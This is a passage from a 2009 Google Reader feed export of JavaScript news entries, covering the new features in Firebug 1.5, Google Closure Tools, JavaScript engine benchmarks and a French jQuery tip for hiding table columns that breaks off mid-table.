term="Firebug" /><category term="Firefox 3.5" /><category term="Firefox 3.6" /><title type="html">what’s new in Firebug 1.5?</title><published>2009-11-17T14:57:22Z</published><updated>2009-11-17T14:57:22Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/RDgpehbS7vQ/" type="text/html" /><content xml:base="http://hacks.mozilla.org/" type="html">&lt;p&gt;&lt;em&gt;This is a re-post from &lt;a href="http://antennasoft.net/robcee/2009/11/12/firebug-1-5-new-features-revealed/"&gt;Rob Cambell’s personal weblog&lt;/a&gt;.  Firebug 1.5 is the first release that will work with the upcoming Firefox 3.6 and also also works with Firefox 3.5.  It’s currently in beta and will be available before the release of Firefox 3.6.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As of this minute, Firebug 1.5 is sitting comfortably in its third beta and available for &lt;a href="http://getfirebug.com/releases/firebug/1.5X/firebug-1.5X.0b3.xpi"&gt;download&lt;/a&gt;. This version is shaping up to be our best release yet and initial reports have been very positive regarding its stability, UI improvements and new features. So let’s take a look at some of the new features.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Improved Net Panel accuracy&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;One of the problems with Firebug’s Net panel in the past has been inaccurate timings. Because Firebug is entirely written in JavaScript some network and UI activity could block Firebug during long operations and cause the timings displayed there to be less than accurate. This has finally been corrected with the landing of a new service called the http-activity-distributor. For more details on the implementation and use of the newly-improved Net panel, see Honza’s &lt;a href="http://www.softwareishard.com/blog/firebug/firebug-http-time-monitor/"&gt;blog post&lt;/a&gt; on the topic.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New Break Functionality&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;In Firebug 1.4, we introduced the concept of “break-on-next” to the Script panel. This was a “pause” button sitting between the inspect icon and the Console tab. In 1.5, we’ve extended this concept to the Console, HTML and Net panels to allow more exciting types of breaks.&lt;/p&gt;
&lt;div&gt;&lt;a title="break on xhr by robceemoz, on Flickr" href="http://www.flickr.com/photos/robceemoz/4098694166/"&gt;&lt;img src="http://farm3.static.flickr.com/2527/4098694166_e8217cdf05.jpg" alt="break on xhr" width="500" height="268"&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;In the Console, we’ve replaced the mini-menu &lt;strong&gt;Break-on-Errors&lt;/strong&gt; option with the pause button. The reasons for this possibly contentious change was it made for a more consistent use of menus and the break button. Now, to enable Break on Errors, select the Console panel and hit the pause button. You’ll see that familiar glow to indicate that it’s waiting for an error. Now whenever an error occurs on the page, you’ll be dropped into the script panel at the line where the error occurred.&lt;/p&gt;
&lt;p&gt;The HTML panel’s break button is a little different. This is the &lt;strong&gt;Break-on-Mutation&lt;/strong&gt; feature. When this is enabled, whenever a bit of JavaScript modifies an HTML element, you’ll be taken to the Script panel and the modifying code while be highlighted. Related to this, you should be able to see modified HTML occurring in real-time in the HTML panel with affected elements and attributes being highlighted as they change in the page.&lt;/p&gt;
&lt;p&gt;Finally in the Net panel, the break button acts as a &lt;strong&gt;Break-on-XHR&lt;/strong&gt; button. This is intended to help debug AJAX apps by allowing you to halt the debugger during an XmlHttpRequest send. As in the other break types, you’ll be transported to the script panel when an XHR object fires off its request and you’ll be given the option to copy the message.&lt;/p&gt;
&lt;p&gt;John Barton and Honza have written a great interactive demo page describing these new features on &lt;a href="http://getfirebug.com/doc/breakpoints/demo.html"&gt;getfirebug.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Mixed Development&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We made a few tweaks to the UI in this version. We replaced the “Off” label with a single “power” button (or window close button on Mac) as promised during the last release.&lt;/li&gt;
&lt;li&gt;Kevin Decker added the search panel originally intended for version 1.4 with some nice options.&lt;/li&gt;
&lt;li&gt;Persist option on Console and Net Panel. Save your data!&lt;/li&gt;
&lt;li&gt;Improvements to the Inspector.&lt;/li&gt;
&lt;li&gt;Still more to come. Between now and final release we plan on hunting down a few more bugs to make this even more stable. Feel free to download and give it a try.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GiiqrWGey--L39cRUsEbRItnrhE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GiiqrWGey--L39cRUsEbRItnrhE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GiiqrWGey--L39cRUsEbRItnrhE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GiiqrWGey--L39cRUsEbRItnrhE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/RDgpehbS7vQ" height="1" width="1"/&gt;</content><author><name>Christopher Blizzard</name></author><gr:likingUser>06088856953299107008</gr:likingUser><gr:likingUser>11831396912085747131</gr:likingUser><gr:likingUser>00925828841303998485</gr:likingUser><gr:likingUser>15958982902895683344</gr:likingUser><gr:likingUser>12391893843151300701</gr:likingUser><gr:likingUser>11067853532291698348</gr:likingUser><gr:likingUser>12138088723604806845</gr:likingUser><gr:likingUser>01286600368596648475</gr:likingUser><gr:likingUser>00986143265412994466</gr:likingUser><source gr:stream-id="feed/http://hacks.mozilla.org/feed/"><id>tag:google.com,2005:reader/feed/http://hacks.mozilla.org/feed/</id><title type="html">hacks.mozilla.org</title><link rel="alternate" href="http://hacks.mozilla.org" type="text/html" /></source><feedburner:origLink>http://hacks.mozilla.org/2009/11/whats-new-in-firebug-1-5/</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1258128149474"><id gr:original-id="330 at http://wiip.fr">tag:google.com,2005:reader/item/1798511994f5329c</id><category term="Closure" scheme="http://wiip.fr/category/etiquettes/closure" /><category term="Google" scheme="http://wiip.fr/category/etiquettes/google" /><category term="Javascript" scheme="http://wiip.fr/category/etiquettes/javascript" /><title type="html">Google Closure : premiers retours d'expérience</title><published>2009-11-13T14:33:26Z</published><updated>2009-11-13T14:33:26Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/BwGPxORboWg/google-closure-premiers-retours-dexp-rience" type="text/html" /><author><name>Maxence Delannoy</name></author><gr:likingUser>01192736539985952946</gr:likingUser><source gr:stream-id="feed/http://wiip.fr/rss.xml"><id>tag:google.com,2005:reader/feed/http://wiip.fr/rss.xml</id><title type="html">WIIP</title><link rel="alternate" href="http://wiip.fr" type="text/html" /></source><content type="html">&lt;h2&gt;goog.require&lt;/h2&gt;

&lt;p&gt;Cette fonction est à la base du système de paquets de Google Closure. D'une façon similaire à la fonction &lt;em&gt;require_once&lt;/em&gt; de PHP, elle permet d'inclure les dépendances. Techniquement parlant, elle charge les scripts nécessaires en ajoutant des balises &lt;em&gt;SCRIPT&lt;/em&gt;. Le problème c'est que le chargement de ces scripts se fait de façon asynchrone.
&lt;/p&gt;&lt;p&gt;&lt;a href="http://wiip.fr/content/google-closure-premiers-retours-dexp-rience"&gt;en lire plus&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZTdgBWXwp22M9R0Qouvn_mBwfDA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZTdgBWXwp22M9R0Qouvn_mBwfDA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZTdgBWXwp22M9R0Qouvn_mBwfDA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZTdgBWXwp22M9R0Qouvn_mBwfDA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/BwGPxORboWg" height="1" width="1"/&gt;</content><feedburner:origLink>http://wiip.fr/content/google-closure-premiers-retours-dexp-rience</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1257873631596"><id gr:original-id="urn:md5:d135641b5b79acdb09d7947f7bec5172">tag:google.com,2005:reader/item/00b7d694cd590e99</id><category term="Technologies Web" /><category term="javascript" /><category term="performances" /><title type="html">Et le meilleur moteur javascript est....</title><published>2009-11-10T17:01:00Z</published><updated>2009-11-10T17:01:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/xRlcP2GYUPw/Et-le-meilleur-moteur-javascript-est...." type="text/html" /><content xml:base="http://ljouanneau.com/blog/" xml:lang="fr" type="html">&lt;p&gt;On voit circuler &lt;a href="http://www.slideshare.net/madrobby/extreme-javascript-performance"&gt;ces slides sur des astuces pour les perfs en javascript&lt;/a&gt;, et on y voit notamment que les résultats de Firefox par rapport aux autres moteurs, notamment V8, ne sont pas folichons.&lt;/p&gt;


&lt;p&gt;Cependant, comme beaucoup de benchmarks, ces résultats sont sujets à cautions, d&amp;#39;autant plus qu&amp;#39;ici :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;On ne sait absolument quelles versions de chaque moteur sont mises en comparaison&lt;/li&gt;
&lt;li&gt;Comparer SpiderMonkey, moteur d'ancienne génération (Firefox 3.0 et précédent), à V8, ce n'est vraiment pas "fair play". Il aurait pu prendre au moins TraceMonkey (Firefox 3.5). À moins qu'il confond dans les noms, mais ça m'étonnerai, car pour les quelques tests que j'ai effectué avec son script, les résultats de TraceMonkey sont plus proches de V8 que de IE  (dernières versions stables des navigateurs).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Et puis bien sûr, aucune mention d'Opera.&lt;/p&gt;


&lt;p&gt;Enfin, c'est bien beau d'avoir un moteur rapide, encore faut il qu'il soit en conformité avec la spécification Ecmascript. Ce qui est &lt;a href="http://ajaxian.com/archives/sputniktests-via-browsers"&gt;encore loin d'être le cas&lt;/a&gt; pour certains d'entre eux.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EqM9h6mr996JCFUDV4jvKrPiTE8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EqM9h6mr996JCFUDV4jvKrPiTE8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EqM9h6mr996JCFUDV4jvKrPiTE8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EqM9h6mr996JCFUDV4jvKrPiTE8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/xRlcP2GYUPw" height="1" width="1"/&gt;</content><author><name>Laurentj</name></author><source gr:stream-id="feed/http://ljouanneau.com/blog/feed/atom"><id>tag:google.com,2005:reader/feed/http://ljouanneau.com/blog/feed/atom</id><title type="html">Jy[B]log</title><link rel="alternate" href="http://ljouanneau.com/blog/" type="text/html" /></source><feedburner:origLink>http://ljouanneau.com/blog/post/2009/11/10/Et-le-meilleur-moteur-javascript-est....</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1257527693088"><id gr:original-id="http://www.alsacreations.com/actu/lire/899-optimiser-les-javascripts-avec-google-closure-tools-et-closure-compiler.html">tag:google.com,2005:reader/item/04293cf01a37ca66</id><category term="Javascript" /><title type="html">Optimiser les JavaScripts avec Google Closure Tools et Closure Compiler</title><published>2009-11-06T12:40:00Z</published><updated>2009-11-06T12:40:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/adHia1_B-u0/899-optimiser-les-javascripts-avec-google-closure-tools-et-closure-compiler.html" type="text/html" /><author><name>dew</name></author><gr:likingUser>12689209018225548402</gr:likingUser><gr:likingUser>03582232677364840803</gr:likingUser><gr:likingUser>03265708953284807880</gr:likingUser><gr:likingUser>02724656662976891821</gr:likingUser><gr:likingUser>08076285683288605280</gr:likingUser><gr:likingUser>03171925008835493917</gr:likingUser><gr:likingUser>17526587290271802812</gr:likingUser><gr:likingUser>14994288930904253247</gr:likingUser><gr:likingUser>00963900605385237083</gr:likingUser><gr:likingUser>10581236898535423113</gr:likingUser><gr:likingUser>13434689740240571082</gr:likingUser><gr:likingUser>18223007372623138312</gr:likingUser><gr:likingUser>08180067003609844901</gr:likingUser><gr:likingUser>04864590751949057641</gr:likingUser><gr:likingUser>07571323106285782188</gr:likingUser><gr:likingUser>06211492723813742501</gr:likingUser><gr:likingUser>03626789928573179956</gr:likingUser><gr:likingUser>05617281339292750392</gr:likingUser><source gr:stream-id="feed/http://blog.alsacreations.com/rss.php"><id>tag:google.com,2005:reader/feed/http://blog.alsacreations.com/rss.php</id><title type="html">Alsacreations.com - Actualités</title><link rel="alternate" href="http://www.alsacreations.com/rss/actualites.xml" type="text/html" /></source><content type="html">&lt;img lang="en" src="http://www.alsacreations.com/xmedia/doc/full/closure.png" alt="Google Closure Tools"&gt;

&lt;p&gt;Google a toujours mis en avant la &lt;b&gt;puissance de JavaScript pour proposer ses nouveaux services&lt;/b&gt;. On a pu le constater très rapidement au travers des applications web telles que GMail ou GMaps qui ont initialement jeté un pavé dans la mare des interactions offertes aux internautes et des possibilité offertes par JavaScript. Puis Google a lancé son propre navigateur, Chrome, tout en portant un soin particulier à son moteur d'interprétation open-source ECMAScript nommé &lt;a hreflang="en" href="http://code.google.com/p/v8/"&gt;V8&lt;/a&gt; qui se veut un des plus performants .&lt;/p&gt;

&lt;p&gt;Avec &lt;a hreflang="en" lang="en" href="http://code.google.com/intl/fr/closure/"&gt;Closure Tools&lt;/a&gt;, c'est une nouvelle fois JavaScript qui est à l'honneur grâce à différents outils, notamment &lt;span lang="en"&gt;Closure Compiler&lt;/span&gt; sur lequel nous allons nous attarder. Notez que ceci n'a rien à voir avec un magazine people.&lt;/p&gt;

&lt;h3&gt;&lt;span lang="en"&gt;Closure Compiler&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Initialement, &lt;a hreflang="en" lang="en" href="http://code.google.com/intl/fr/closure/compiler/"&gt;Closure Compiler&lt;/a&gt; est un outil en ligne de commande programmé en Java (qu'il vous faudra posséder pour exploiter l'archive &lt;code&gt;compiler.jar&lt;/code&gt;). Rappel : Java n'est pas JavaScript. Pour faire simple le premier est un langage de programmation compilé à l'instar du C++ pour concevoir des applications classiques (telles qu'OpenOffice) créé par Sun dans les années 1990; tandis que le second est un langage interprété par les navigateurs web pour enrichir l'interactivité des pages HTML créé en 1995 par Netscape.&lt;/p&gt;

&lt;img src="http://www.alsacreations.com/xmedia/doc/full/rapidite.png" alt="Rapidité chronomètre"&gt;

&lt;p&gt;Quel est le but de &lt;span lang="en"&gt;Closure Compiler&lt;/span&gt; ? L'efficacité : il &lt;b&gt;réduit la taille des fichiers JavaScript&lt;/b&gt;, donc le temps d'interprétation et de chargement. Il &lt;b&gt;vérifie le code&lt;/b&gt;, affichant des erreurs détaillées pour des instructions qui pourraient être mal rédigées ou mal interprétées, pour produire un script d'autant plus propre et conforme. Remarque : il a été ajouté à l'extension &lt;a hreflang="en" lang="en" href="http://code.google.com/speed/page-speed/"&gt;Page Speed&lt;/a&gt; pour évaluer le gain qu'il est possible de réaliser en appliquant ce service sur les scripts.&lt;/p&gt;

&lt;p&gt;Une &lt;a hreflang="en" href="http://code.google.com/intl/fr/closure/compiler/docs/inspector.html"&gt;extension pour Firefox&lt;/a&gt; muni de Firebug, nommée &lt;span lang="en"&gt;Closure Inspector&lt;/span&gt;, ajoute différentes fonctionnalités à l'onglet Script pour faciliter la lecture et le débogage des scripts compressés avec &lt;span lang="en"&gt;Closure&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;Un service en ligne est également disponible. &lt;b&gt;&lt;a hreflang="en" lang="en" href="http://closure-compiler.appspot.com/home"&gt;Closure Compiler Service&lt;/a&gt;&lt;/b&gt; demeure &lt;b&gt;le plus pratique pour optimiser rapidement les scripts&lt;/b&gt;. Soit par copier-coller dans le formulaire prévu à cet effet, soit en indiquant directement l'url d'un fichier, puis en cliquant sur &lt;i lang="en"&gt;Compile&lt;/i&gt;. Il suffit de récupérer le code source alors généré pour le remplacer dans votre application (veillez cependant à toujours conserver l'original, car il vous sera très difficile de revenir en arrière vers un code lisible).&lt;/p&gt;

&lt;p&gt;&lt;img lang="en" src="http://www.alsacreations.com/xmedia/doc/full/closure-compiler-service.png" alt="Closure Compiler Service"&gt;&lt;/p&gt;

&lt;p&gt;Notez qu'il y a 3 modes d'optimisation :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;span lang="en"&gt;Whitespace only&lt;/span&gt;, qui retire les commentaires et les espaces inutiles.&lt;/li&gt;
&lt;li&gt;&lt;span lang="en"&gt;Simple&lt;/span&gt;, qui est le mode par défaut d'optimisation, n'interfère pas avec les autres scripts et librairies qui pourraient être présents sur la page.&lt;/li&gt;
&lt;li&gt;&lt;span lang="en"&gt;Advanced&lt;/span&gt;, qui prend des libertés avec les noms de fonctions et de variables pour les compresser elles aussi. Attention, ceci modifiera en profondeur votre code qui risque de ne plus être correctement interprété, notamment s'il fait appel à d'autres frameworks (par exemple jQuery).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La &lt;a hreflang="en" href="http://code.google.com/intl/fr/closure/compiler/docs/api-ref.html"&gt;documentation de Closure Compiler&lt;/a&gt; est bien fournie à ce sujet. Il est également possible d'exploiter ce service web via une &lt;a hreflang="en" href="http://code.google.com/intl/fr/closure/compiler/docs/gettingstarted_api.html"&gt;API&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Closure Library&lt;/h3&gt;

&lt;img lang="en" src="http://www.alsacreations.com/xmedia/doc/full/code_labs_logo.gif" alt="Google code Labs"&gt;

&lt;p&gt;&lt;a hreflang="en" lang="en" href="http://code.google.com/intl/fr/closure/library/"&gt;Closure Library&lt;/a&gt; est tout simplement une nouvelle librairie JavaScript, à l'instar de jQuery, MooTools, Prototype, Dojo ou Yahoo! UI pour étendre les fonctionnalités du navigateur et écrire des scripts plus rapidement avec une &lt;a hreflang="en" href="http://code.google.com/intl/fr/closure/library/docs/tutorial.html"&gt;syntaxe&lt;/a&gt; et une &lt;a hreflang="en" href="http://closure-library.googlecode.com/svn/trunk/closure/goog/docs/index.html"&gt;API spécifique&lt;/a&gt;. On retrouve l'essentiel des outils qui peuvent permettre de déployer une application web : manipulation du DOM, widgets UI, événements, animation, json, édition wysiwyg etc, quel que soit le serveur et le navigateur.&lt;/p&gt;

&lt;p&gt;Attention : cette librairie est encore jeune, et beaucoup de développeurs pointent déjà du doigt des &lt;a href="http://www.sitepoint.com/blogs/2009/11/12/google-closure-how-not-to-write-javascript/"&gt;défauts de performance&lt;/a&gt;. N'abandonnez pas vos librairies actuelles, performantes et éprouvées, telles que jQuery.&lt;/p&gt;

&lt;h3&gt;Closure Templates&lt;/h3&gt;

&lt;p&gt;L'objectif de &lt;a hreflang="en" lang="en" href="http://code.google.com/intl/fr/closure/templates/"&gt;Closure Templates&lt;/a&gt; est de simplifier la génération de code HTML avec des templates, c'est à dire séparer la présentation du contenu. Vous pouvez ainsi exploiter de petits composants pour générer les pages dynamiquement. La &lt;a hreflang="en" href="http://code.google.com/intl/fr/closure/templates/docs/helloworld_js.html"&gt;syntaxe&lt;/a&gt; est relativement abordable, on y retrouve des opérateurs, des boucles et des structures de contrôle. On peut déployer cette solution autant du côté client avec un JavaScript "précompilé", que du côté serveur à l'aide de Java. Closure Templates est déjà éprouvé par GMail et Google Docs et peut être utilisé en conjonction avec d'autres librairies sans créer de conflit.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JEvnz1-KnQH3mQS-zeQQOmzpkyI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JEvnz1-KnQH3mQS-zeQQOmzpkyI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JEvnz1-KnQH3mQS-zeQQOmzpkyI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JEvnz1-KnQH3mQS-zeQQOmzpkyI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/neolao-reader-javascript/~4/adHia1_B-u0" height="1" width="1"/&gt;</content><feedburner:origLink>http://www.alsacreations.com/actu/lire/899-optimiser-les-javascripts-avec-google-closure-tools-et-closure-compiler.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1251553861268"><id gr:original-id="urn:md5:1bfa329491462fe90c535043d66cb8ff">tag:google.com,2005:reader/item/9b53f430573905e0</id><category term="Astuces diverses et variées" /><title type="html">Astuce JavaScript: afficher/masquer des colonnes d&amp;#39;un tableau HTML.</title><published>2009-08-29T09:19:00Z</published><updated>2009-08-29T09:19:00Z</updated><link rel="alternate" href="http://feedproxy.google.com/~r/neolao-reader-javascript/~3/wx4xvcWpwx8/index.php" type="text/html" /><content xml:base="http://vip93fr.free.fr/2point0/index.php?" xml:lang="fr" type="html">&lt;p&gt;Lorsque vous avez une grande quantité de colonnes dans un tableau, il peut être utile d'en masquer quelques-unes pour en faire une vue simplifiée du tableau.&lt;/p&gt;    &lt;p&gt;Une des astuces consiste à utiliser la célèbre librairie JavaScript &lt;strong&gt;jQuery&lt;/strong&gt;.&lt;br&gt;
Tout d'abord, à l'intérieur des balises "head", on ajoute un sélecteur CSS (que je nommerai "hiddenCols", mais c'est au choix) qui par défaut va faire disparaître les colonnes choisies. J'utilise la balise "style" mais vous pouvez très bien le mettre dans un fichier CSS à part.&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;style&lt;/span&gt; &lt;span style="color:#000066"&gt;type&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;text/css&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
.hiddenCols {
     display: none;
}
&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;p&gt;Toujours à l&amp;#39;intérieur de &amp;lt;head&amp;gt;, nous allons incorporer la librairie jQuery (téléchargeable &lt;a href="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js" hreflang="en"&gt;ici&lt;/a&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;script&lt;/span&gt; &lt;span style="color:#000066"&gt;type&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt; &lt;span style="color:#000066"&gt;src&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;jquery.js&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;p&gt;Ensuite, à l&amp;#39;intérieur de &amp;lt;body&amp;gt;, nous allons créer un petit lien qui va permettre la permutation entre les deux vues (par défaut nous allons choisir la vue simplifiée).&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;a&lt;/span&gt; &lt;span style="color:#000066"&gt;href&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;#&amp;quot;&lt;/span&gt; &lt;span style="color:#000066"&gt;id&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;msg&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Vue détaillée&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;p&gt;Puis notre tableau...&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;table&lt;/span&gt; &lt;span style="color:#000066"&gt;border&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;1&amp;quot;&lt;/span&gt; &lt;span style="color:#000066"&gt;cellspacing&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span style="color:#000066"&gt;cellpadding&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;3&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;th&amp;gt;&lt;/span&gt;&lt;/span&gt;Entête 1&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;th&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Entête 2&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;th&amp;gt;&lt;/span&gt;&lt;/span&gt;Entête 3&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;th&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Entête 4&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;th&amp;gt;&lt;/span&gt;&lt;/span&gt;Entête 5&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/th&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
	&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 1&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&lt;/span&gt; &lt;span style="color:#000066"&gt;class&lt;/span&gt;&lt;span style="color:#66cc66"&gt;=&lt;/span&gt;&lt;span style="color:#ff0000"&gt;&amp;quot;hiddenCols&amp;quot;&lt;/span&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 2&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
		&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;/span&gt;Blabla 3&lt;span style="color:#009900"&gt;&lt;span style="color:#000000;font-weight:bold"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;&lt;/span&gt;
